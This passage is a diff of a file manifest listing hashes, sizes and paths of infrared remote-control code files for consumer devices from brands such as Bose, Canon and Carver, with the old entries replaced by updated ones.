+F:f2f8243515d6e9f50bcadb949a9fca92:2440:infrared/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir +F:3e3ffd0aa3ed349decb5af9f69682d37:6029:infrared/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir +F:0a615a515798ad1a43fd0caff36d0f4b:3834:infrared/_CSV-IRDB_/Bose/Lifestyle/186,1.ir +F:a9e76e3f2cec24678bfec552035154e5:4758:infrared/_CSV-IRDB_/Bose/Lifestyle/186,136.ir +F:f4848878727f6246895663a069ea9c8e:13286:infrared/_CSV-IRDB_/Bose/Lifestyle/186,160.ir +F:19c677ab599484104471867b3953674d:4361:infrared/_CSV-IRDB_/Bose/Lifestyle/186,161.ir +F:ad2a4585500a64340284ed7b7eb83fb3:4447:infrared/_CSV-IRDB_/Bose/Lifestyle/186,162.ir +F:d8e735926f65b9afc50da69f3d0a8c05:4353:infrared/_CSV-IRDB_/Bose/Lifestyle/186,163.ir +F:a4b6d757b2669244b11ce490109873a6:4361:infrared/_CSV-IRDB_/Bose/Lifestyle/186,164.ir +F:e6a87091bcd94a3bdfcba4b261cc0935:3836:infrared/_CSV-IRDB_/Bose/Lifestyle/186,165.ir +F:d8c90df0dbb04845f56b25040d755b94:3924:infrared/_CSV-IRDB_/Bose/Lifestyle/186,166.ir +F:500121492a50666b1d147dc7d5266088:3836:infrared/_CSV-IRDB_/Bose/Lifestyle/186,167.ir +F:3169ef736dff15701425cf0e14078c70:3836:infrared/_CSV-IRDB_/Bose/Lifestyle/186,168.ir +F:6b99884de34a96b4da1ac3becddfa21e:3836:infrared/_CSV-IRDB_/Bose/Lifestyle/186,169.ir +F:158fbaa1d19fc3a5f0355d50cd13ec9a:4005:infrared/_CSV-IRDB_/Bose/Lifestyle/186,170.ir +F:b6f2158b5406a7a0161b4e1e5a63d3ff:3836:infrared/_CSV-IRDB_/Bose/Lifestyle/186,171.ir +F:ac9343dced71d3e64a276d7b6be4c684:3836:infrared/_CSV-IRDB_/Bose/Lifestyle/186,172.ir +F:f454f9a42bf35b9985509dca8873b429:3836:infrared/_CSV-IRDB_/Bose/Lifestyle/186,173.ir +F:3da6351bb7d56ccfa1abe3afc5beac9e:3836:infrared/_CSV-IRDB_/Bose/Lifestyle/186,174.ir +F:496a95c020cf3591b5a7b47511b22eed:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,176.ir +F:4f13f457de71f55452a507dcd981a32f:8468:infrared/_CSV-IRDB_/Bose/Lifestyle/186,177.ir +F:22327dc5176124dc4f72b1e36870a2b1:8563:infrared/_CSV-IRDB_/Bose/Lifestyle/186,178.ir +F:e6c39d011fb69d14048a919ed26c15ba:8385:infrared/_CSV-IRDB_/Bose/Lifestyle/186,179.ir +F:d70a4a0cf0c05f66171c405b9c0b715f:8468:infrared/_CSV-IRDB_/Bose/Lifestyle/186,180.ir +F:b3e369f88736c7d280eb48e4a498f899:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,181.ir +F:e9b06dc562226b691225fcb9f203d573:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,182.ir +F:6c24fb66caadd10f71f1cfca318063dd:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,183.ir +F:14a39b355573fe716122c3f5cbaaf900:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,184.ir +F:48adc11e7738e83246a5c30e151758d2:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,185.ir +F:0ec87c47fc8308bfcd35b6dd5a7a89d0:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,186.ir +F:c1f818e0459d62770b0b7121df00d085:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,187.ir +F:7c51ce404b8e0232ac72cc6068bcfbb2:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,188.ir +F:3037fd86ce79f40cd5c638f77fe43137:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,189.ir +F:5868e731decdd28882979571d3327127:6231:infrared/_CSV-IRDB_/Bose/Lifestyle/186,190.ir +F:dc8d80a4d9a05d4ebeebf6c14e40e1dd:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,191.ir +F:b607ad476a6ab91dd22f483fb0358653:2162:infrared/_CSV-IRDB_/Bose/Lifestyle/186,85.ir +F:b9d41243b4324babf32cabd48957300b:126:infrared/_CSV-IRDB_/Bose/Media Center/1,-1.ir +F:dd41ef1086be9159391a975243a0af6f:4104:infrared/_CSV-IRDB_/Bose/Media Center/186,136.ir +F:4770afb69b3965e642c657993cb94768:2104:infrared/_CSV-IRDB_/Bose/Music Center/186,133.ir +F:16acf66e0e8121a6cbbac1b0da4ef5c6:3356:infrared/_CSV-IRDB_/Bose/Music Center/186,213.ir +F:1cf46ab9ab5dbf3eacd588db217380dc:2104:infrared/_CSV-IRDB_/Bose/Music Center/186,229.ir +F:eb3c0294089c804ecad934246c9aff52:4043:infrared/_CSV-IRDB_/Bose/Music Center/186,85.ir +F:7817823c73457efcc13e18438d6de097:386:infrared/_CSV-IRDB_/Bose/Receiver/186,160.ir +F:bcc2cf730f622d9ae3f21703f7c9b792:11660:infrared/_CSV-IRDB_/Bose/Receiver/186,75.ir +F:025f79d6f12ba2dbe66e99b66f420bc1:2036:infrared/_CSV-IRDB_/Bose/System/186,85.ir +F:5c8dfb91875cccce36ad1e5f9c07783d:1994:infrared/_CSV-IRDB_/Bose/Tuner/186,85.ir +F:b41ae58c61023a531b54a1ecd1744b2c:1572:infrared/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir +F:24968dcc4e6b6ed951b3e281b22aaa57:2376:infrared/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir D:infrared/_CSV-IRDB_/Boxlight/Projector -F:0f36245b79da9bcd261d5ffcc4d29c14:409:infrared/_CSV-IRDB_/Boxlight/Projector/135,78.ir -F:50fa9a8e6c35a35a05815dba4e5c2549:1538:infrared/_CSV-IRDB_/Boxlight/Projector/48,-1.ir -F:2b9ce580b8e7369659b59d431a8df011:126:infrared/_CSV-IRDB_/Boxlight/Projector/48,206.ir +F:a2725061e8fee4457488c686a9b3ae6f:383:infrared/_CSV-IRDB_/Boxlight/Projector/135,78.ir +F:90b3a6ab8fe97db863134494f2030784:1440:infrared/_CSV-IRDB_/Boxlight/Projector/48,-1.ir +F:e51b57a0e8b5cdff6fe07ee9a7a69801:118:infrared/_CSV-IRDB_/Boxlight/Projector/48,206.ir D:infrared/_CSV-IRDB_/Broksonic/VCR -F:5ad04c40ae6e587199fbeecded0c3f6e:604:infrared/_CSV-IRDB_/Broksonic/VCR/128,123.ir +F:16dbbac0cd3c37ba28ef8c7ac9541565:566:infrared/_CSV-IRDB_/Broksonic/VCR/128,123.ir D:infrared/_CSV-IRDB_/Busch-Jaeger/Elektro -F:512a2b89a12725913abf7f1a14783c08:2133:infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir -F:a7af30833639643dee884a3bd026560d:2499:infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir +F:773cc7b8551028654188b94d26c63e6f:1999:infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir +F:77638cb2e7df235268e7cde20950d359:2341:infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir D:infrared/_CSV-IRDB_/Bush/Light D:infrared/_CSV-IRDB_/Bush/Unknown_4400 D:infrared/_CSV-IRDB_/Bush/Unknown_DFTA1xi D:infrared/_CSV-IRDB_/Bush/Unknown_WS6680 -F:0284f2d3440a25ebe0726e33022b3c71:492:infrared/_CSV-IRDB_/Bush/Light/29,-1.ir -F:76af928f64c445eb88230d6080da12c6:2957:infrared/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir -F:0082ac42606bdecb658d6bc1f7edadbe:3069:infrared/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir -F:2e94dd080f5ffab953c766b6361fce82:3623:infrared/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir +F:f989d96ac5788f4617e818e4d81dc604:460:infrared/_CSV-IRDB_/Bush/Light/29,-1.ir +F:e542fcc523c781e67512b49524e6d929:2769:infrared/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir +F:384d2be0ffb0820cbe95da764fa61cfa:2875:infrared/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir +F:47614d952a828320d3a5c029cd062484:3393:infrared/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir D:infrared/_CSV-IRDB_/ByDesign/LCD -F:b0f32e00aca14876ea4c3142e5cd5c91:678:infrared/_CSV-IRDB_/ByDesign/LCD/71,-1.ir +F:5a19c8e99d7521e2b7a324b6c03e548a:634:infrared/_CSV-IRDB_/ByDesign/LCD/71,-1.ir D:infrared/_CSV-IRDB_/CAT/Unknown_CS-907 D:infrared/_CSV-IRDB_/CAT/Unknown_DVD-1122 D:infrared/_CSV-IRDB_/CAT/Unknown_KF-9816 -F:5d29ef2dabb8f23e572c202e0764c4a3:3959:infrared/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir -F:603cc223c5b8716608522fc2a2053838:3831:infrared/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir -F:fa266a789d306e6066db7bb6b6554be0:4286:infrared/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir +F:c436081fc74f347b24f66b0206c919c5:3705:infrared/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir +F:0e9766694e13fed32158fcac2ab929a1:3589:infrared/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir +F:06e0d10597691eb114e1c795d7ba8cec:4014:infrared/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir D:infrared/_CSV-IRDB_/CIS BOX/CD Player D:infrared/_CSV-IRDB_/CIS BOX/DSS D:infrared/_CSV-IRDB_/CIS BOX/DVD Changer @@ -1705,64 +1705,64 @@ D:infrared/_CSV-IRDB_/CIS BOX/Plasma D:infrared/_CSV-IRDB_/CIS BOX/Receiver D:infrared/_CSV-IRDB_/CIS BOX/TV D:infrared/_CSV-IRDB_/CIS BOX/VCR -F:aa0255cd81128860ce57300a63695c1a:3168:infrared/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir -F:ae2162c873750192242c4523bfcd3059:2511:infrared/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir -F:37eb89d8d2f905cdd94533b092efa98c:2894:infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir -F:10e797e455aa91f02b41a24ebb39754b:239:infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir -F:c285ac3fb55771b12f97eeb10464b855:3684:infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir -F:de7c1622cd29121abe9277ec26b21716:215:infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir -F:8c929b146b3d8988eb30e17645767a4c:1257:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir -F:0543520cee96dfde24a9974c625d164a:601:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir -F:9e5acd42d507608ab04d7356126a3d6e:1066:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir -F:9fb5c5dbd9007d614adbd07b55d537b7:1099:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir -F:bd290ef0bf14bbdb2edd0343f5d82090:1467:infrared/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir -F:6e00813e880ac27efb9899e8e41db693:2295:infrared/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir -F:defd5b9bcdab21bd44d5623913b42288:503:infrared/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir -F:e16da6e70de0d1b324cce296a2b92291:317:infrared/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir -F:33a0528f07e11e3bbb562eaf268079cd:2353:infrared/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir -F:bcee06ff72ac63c0b930542be5333e0c:135:infrared/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir -F:6ddcc129dfc4a1afdebe4bd197e3ce06:2763:infrared/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir -F:b13cdaf621f28a2577776982d311de0d:1232:infrared/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir -F:e22ce7a6b28f3b97922490ddaeef9f0f:405:infrared/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir -F:6fb78f5bd58fd8b3b1c0a687ea3858a0:229:infrared/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir -F:3753b4b7f113d55c89377b2e25a342f4:233:infrared/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir -F:60ef0be29db90ffc7642b8d978a67e59:1421:infrared/_CSV-IRDB_/CIS BOX/TV/1,-1.ir -F:7272c8dd3cefbe7d659760a35daebdea:322:infrared/_CSV-IRDB_/CIS BOX/TV/164,-1.ir -F:7a163ea7991c1e1f30b2a63012609867:1111:infrared/_CSV-IRDB_/CIS BOX/TV/26,26.ir -F:2ed080b3c2c12aff4569be2a69a97f16:430:infrared/_CSV-IRDB_/CIS BOX/TV/84,-1.ir -F:73a12454f32c5b6e4acd043b1fb48ef7:1920:infrared/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir +F:67706fc8200762eef5ef354c6e454897:2962:infrared/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir +F:2fe52eb59f918b63355de30cccda4123:2347:infrared/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir +F:c505ea0ee05904966775a9ff4c88039f:2706:infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir +F:404837ea84fc6114ecaf9c2c80657d39:225:infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir +F:2d74ff3e05cfefc9a8e0c7365b4a46be:3448:infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir +F:bb5de9edbcb9db0fccf70e0c3a94d680:201:infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir +F:dd16179bdc3ee56f4ef51f48271de2d5:1177:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir +F:7c179a0aacd72ad1d5514c658f88a909:563:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir +F:8413036ef8d425e2db955042c213d556:998:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir +F:59a5b409f376ce5826275525ebe67c01:1025:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir +F:4c02959ba93c1eb7359f9214e78d5962:1375:infrared/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir +F:b1077645c5126f2f1881e5ed49896707:2143:infrared/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir +F:5c013e05af4167d7e54a859b504e8dbf:471:infrared/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir +F:ceb833b78e04a577008f12054381a33d:297:infrared/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir +F:0a20811c1ce8b7595415a56091a652bc:2201:infrared/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir +F:248173262bedeb932e4d4402cc99d917:127:infrared/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir +F:cabe0a5af2ecd7534a8f23d41b89600b:2581:infrared/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir +F:5b12ac512fc53b06ffd76879ba4d94aa:1152:infrared/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir +F:2378c374baab9a420be7315ff746e38b:379:infrared/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir +F:2b48618ef3c5d5b9d3b0251261768fd9:215:infrared/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir +F:c528c56d3fcea3c456a061f6747f4536:219:infrared/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir +F:4da1c2d05c572a845a2e88021bc8d8f7:1329:infrared/_CSV-IRDB_/CIS BOX/TV/1,-1.ir +F:4177180a76d4699ccb334fb781c080d7:302:infrared/_CSV-IRDB_/CIS BOX/TV/164,-1.ir +F:042b074ea8da8b38db5653063e61292f:1037:infrared/_CSV-IRDB_/CIS BOX/TV/26,26.ir +F:82a695cfb84e48bb71135c9bfb6c1112:404:infrared/_CSV-IRDB_/CIS BOX/TV/84,-1.ir +F:5c24f4bf0b102020bbb94aa2204f487b:1798:infrared/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir D:infrared/_CSV-IRDB_/COSMEL/Unknown_COSMEL -F:7f8f46ecd1a10da3bdadf8cd8a7af7eb:2387:infrared/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir +F:0deec41e8897ed7db049527261aba3a6:2229:infrared/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir D:infrared/_CSV-IRDB_/Cables to Go/VGA Switcher -F:3789b4ffe9282abc83203260bd39b85e:597:infrared/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir +F:ac0353c4e9a4ab7a3cae8390430c24f8:559:infrared/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir D:infrared/_CSV-IRDB_/Calrad/Video Switcher -F:d34989b32bbf907a5b08bbbf97074fbd:831:infrared/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir +F:0d922fafe88cd71601876f2bfa26aa67:781:infrared/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir D:infrared/_CSV-IRDB_/Calypso/Amplifier D:infrared/_CSV-IRDB_/Calypso/Control System -F:b0afe9b1a855589d23d66d26f025345e:1225:infrared/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir -F:38949134d3b811640f59e13d0f6a317a:4503:infrared/_CSV-IRDB_/Calypso/Control System/1,-1.ir -F:0ad564b233f9d808ef195ef7fda0e3f5:4503:infrared/_CSV-IRDB_/Calypso/Control System/17,-1.ir -F:ae6fdb16115fde1ae46ae1671052f455:2922:infrared/_CSV-IRDB_/Calypso/Control System/7,-1.ir +F:b278fe5028a4bbfe6aeaffe2c006bf8f:1151:infrared/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir +F:ce9696abbd675e811c3d8833bacd2894:4213:infrared/_CSV-IRDB_/Calypso/Control System/1,-1.ir +F:0a1d9e1bae913bf5703c5f2efb10a294:4213:infrared/_CSV-IRDB_/Calypso/Control System/17,-1.ir +F:625f463508b2881b9fb6fc1c44380919:2734:infrared/_CSV-IRDB_/Calypso/Control System/7,-1.ir D:infrared/_CSV-IRDB_/Cambridge Audio/DVD Player D:infrared/_CSV-IRDB_/Cambridge Audio/Receiver D:infrared/_CSV-IRDB_/Cambridge Audio/Unknown_Audio D:infrared/_CSV-IRDB_/Cambridge Audio/Unknown_X40A -F:0e978d5255193bca1127832b72eef31e:4369:infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir -F:6b15f0a571142b2ea03b4b0a091c4867:4366:infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir -F:a321612262149a1bf8c630f11f322d71:6730:infrared/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir -F:62b1fcecbb98747a7de7469786946b6a:1243:infrared/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir -F:b9bce8351abe071ab9788b2ca07a13c9:3358:infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir -F:88ff0e51cab01778fc4f92fde901eb67:1879:infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir -F:7dd079bee04a58f46815009f458c9e32:3388:infrared/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir -F:2df8f4c5312286f06761c5271db5731f:1857:infrared/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir +F:718927e6f88ffc7c465e17763a210d4d:4085:infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir +F:644b1fa6f1c7a14e1b0025e6512b8ce7:4082:infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir +F:265054f5b4ebaf73425804e8146b0f70:6314:infrared/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir +F:4e102c794ccd13dca22c18752fe23359:1163:infrared/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir +F:fcf196f715f771edb542ad71dc2927ca:3146:infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir +F:724db451a7933aec0c9a011f700d6459:1763:infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir +F:0dffed9053f3ef9c124388a45d675bb2:3176:infrared/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir +F:bc7b03f62141ad1fcc64479820c9b76b:1741:infrared/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir D:infrared/_CSV-IRDB_/Camera/Camera Multi Plex -F:154dbd1790ec15e628c31b6aec1d5072:2210:infrared/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir +F:5af0b0fdd6f9f83378d6e9adc21bd4ca:2064:infrared/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir D:infrared/_CSV-IRDB_/Canalsat/Satellite D:infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSat D:infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD -F:152347e2778f7160da017082bb784b6b:2767:infrared/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir -F:f85ab28796b61e6f2f0a48539068d57d:2838:infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir -F:99e85d9eec61be2d2c590673628cba52:4268:infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir +F:e2b507098ca2f64976f9ee871abca436:2585:infrared/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir +F:44bfc9b043db1f49d1c2f14f02fa800c:2656:infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir +F:ee4fbd25259a8dd4a40da58f256e60d7:3996:infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir D:infrared/_CSV-IRDB_/Canon/Unknown_CAM D:infrared/_CSV-IRDB_/Canon/Unknown_WL-D77 D:infrared/_CSV-IRDB_/Canon/Unknown_WL-D80 @@ -1770,15 +1770,15 @@ D:infrared/_CSV-IRDB_/Canon/Unknown_WL-DC100 D:infrared/_CSV-IRDB_/Canon/Unknown_WL-V1 D:infrared/_CSV-IRDB_/Canon/Unknown_canon D:infrared/_CSV-IRDB_/Canon/Video Projector -F:2f484652c73a2551e871e05f33969d16:1099:infrared/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir -F:5c799dac6262c30e68a85c46b276d1a5:3387:infrared/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir -F:a893876c74deba8907173f56d91d41f2:2766:infrared/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir -F:20f26119aef2b818a36557d00d279b0c:796:infrared/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir -F:9922954daf00b89f4e26da4ce40718b7:1855:infrared/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir -F:b60341722ec0b6ef5bc39203842d6b65:2915:infrared/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir -F:737e04e5fa821da1decd0e454fece8f8:2414:infrared/_CSV-IRDB_/Canon/Video Projector/129,6.ir +F:6d3c3be43d92c6712e359fa76738334b:1031:infrared/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir +F:ea07fc2b87b1e0f545918dcfde543d99:3175:infrared/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir +F:77a623e7c3552d219202e8bcf693a49d:2596:infrared/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir +F:c06f78780587267eaf4278ad8c795bc8:746:infrared/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir +F:d2ad0a96821ae29117bade4c35ac3510:1739:infrared/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir +F:5a7468837fbce18f73f15721bd80ea7f:2733:infrared/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir +F:b48bc3975a5b793b29aa3c44f39e7233:2262:infrared/_CSV-IRDB_/Canon/Video Projector/129,6.ir D:infrared/_CSV-IRDB_/Captain/Unknown_7100usb -F:e681ed79a0bc25b9bd4c80f2444ae21a:1645:infrared/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir +F:556ea8de509ee3f1a22e6d0371fafe37:1541:infrared/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir D:infrared/_CSV-IRDB_/Carver/Amplifier D:infrared/_CSV-IRDB_/Carver/CD Player D:infrared/_CSV-IRDB_/Carver/Cassette Tape @@ -1786,80 +1786,80 @@ D:infrared/_CSV-IRDB_/Carver/Laser Disc D:infrared/_CSV-IRDB_/Carver/Pre-Amplifier D:infrared/_CSV-IRDB_/Carver/Receiver D:infrared/_CSV-IRDB_/Carver/Tuner -F:4b3258186192b07b9f3b8ba94ec7148a:3119:infrared/_CSV-IRDB_/Carver/Amplifier/135,123.ir -F:3fe0c73bbba973f3ae05afe9c90d4ab3:5555:infrared/_CSV-IRDB_/Carver/CD Player/135,123.ir -F:e33189602578834a411846cea43dcbb3:2410:infrared/_CSV-IRDB_/Carver/CD Player/20,-1.ir -F:01e28f4f7f8cd5a492ccc14fa8d327f9:2231:infrared/_CSV-IRDB_/Carver/CD Player/42,-1.ir -F:b918af69d8d9c31833d610c180cd96bd:3249:infrared/_CSV-IRDB_/Carver/CD Player/60,-1.ir -F:7fd342b73d07b0845d3d7667273c0458:3402:infrared/_CSV-IRDB_/Carver/CD Player/68,-1.ir -F:751efeef67068ca2a6825ad734a4e1a3:2068:infrared/_CSV-IRDB_/Carver/CD Player/99,0.ir -F:89cf4f6e519d0d1399fad0834258864b:792:infrared/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir -F:c20b4bac10b079a26a908345d0e3147a:596:infrared/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir -F:6741fb4e7f6cc82871f4b2947a16d61c:1032:infrared/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir -F:3ebee5f97954b865df5d90078e3508f2:400:infrared/_CSV-IRDB_/Carver/Laser Disc/102,0.ir -F:3d6dcc7b1e5cab1a666a461b91683e31:135:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir -F:2379a507a8fd85c452eb9fd727c93291:129:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir -F:9f4c0b40d0be60cb50fd715674da889e:1264:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir -F:f355a88811345d42f92806297c8541ed:599:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir -F:97250dd02d1073078d9f45865f80ff42:131:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir -F:1e9cfb2c46dfe6d70ad1b26fb5ce464b:128:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir -F:195a2717aa71f014e6ec95805b5a5ac6:131:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir -F:1fb18ddfb795dae9e6431426b15b274c:142:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir -F:df4a10e643f5e3847801f74e8f5a65f6:129:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir -F:d702ad47f85dafcdc870093047120778:133:infrared/_CSV-IRDB_/Carver/Receiver/0,-1.ir -F:e500b2b66c4a07be74a8c83da2c9eeb5:228:infrared/_CSV-IRDB_/Carver/Receiver/12,-1.ir -F:c1fa4e0af83f0695a330125e281cdff0:3507:infrared/_CSV-IRDB_/Carver/Receiver/135,123.ir -F:b9e702dacfe0cdce5bcdeee17ae0cf53:222:infrared/_CSV-IRDB_/Carver/Receiver/16,-1.ir -F:f5cd27af7bf3ec82f7a4eeee8f799aa3:228:infrared/_CSV-IRDB_/Carver/Receiver/17,-1.ir -F:1e9cfb2c46dfe6d70ad1b26fb5ce464b:128:infrared/_CSV-IRDB_/Carver/Receiver/20,-1.ir -F:3a18beeaf5e718ed58c1619fb4db1bf5:799:infrared/_CSV-IRDB_/Carver/Receiver/5,-1.ir -F:9e180ac12ba7988ddefa94baa4a2e1fa:2952:infrared/_CSV-IRDB_/Carver/Tuner/135,123.ir -F:b9e702dacfe0cdce5bcdeee17ae0cf53:222:infrared/_CSV-IRDB_/Carver/Tuner/16,-1.ir -F:f5cd27af7bf3ec82f7a4eeee8f799aa3:228:infrared/_CSV-IRDB_/Carver/Tuner/17,-1.ir -F:1e9cfb2c46dfe6d70ad1b26fb5ce464b:128:infrared/_CSV-IRDB_/Carver/Tuner/20,-1.ir +F:d6b63d5cd5b28601c113e6495ac4dfc8:2919:infrared/_CSV-IRDB_/Carver/Amplifier/135,123.ir +F:3ddfbdcbe2e79fca784f31a1b2a43b2d:5193:infrared/_CSV-IRDB_/Carver/CD Player/135,123.ir +F:cbdf6607964c82ca65c35f7d449499a2:2252:infrared/_CSV-IRDB_/Carver/CD Player/20,-1.ir +F:af76d110b4d6958f8d731795ef01e555:2085:infrared/_CSV-IRDB_/Carver/CD Player/42,-1.ir +F:ddedb3439c498fc8c1dbb530303a7cc4:3043:infrared/_CSV-IRDB_/Carver/CD Player/60,-1.ir +F:9629998b3ba3498fb19b6c508cf21e0a:3184:infrared/_CSV-IRDB_/Carver/CD Player/68,-1.ir +F:508dd95a3a0848ec69931eb9db40d2d4:1934:infrared/_CSV-IRDB_/Carver/CD Player/99,0.ir +F:256834cf8f83b19eaeecce4b1f94de8b:742:infrared/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir 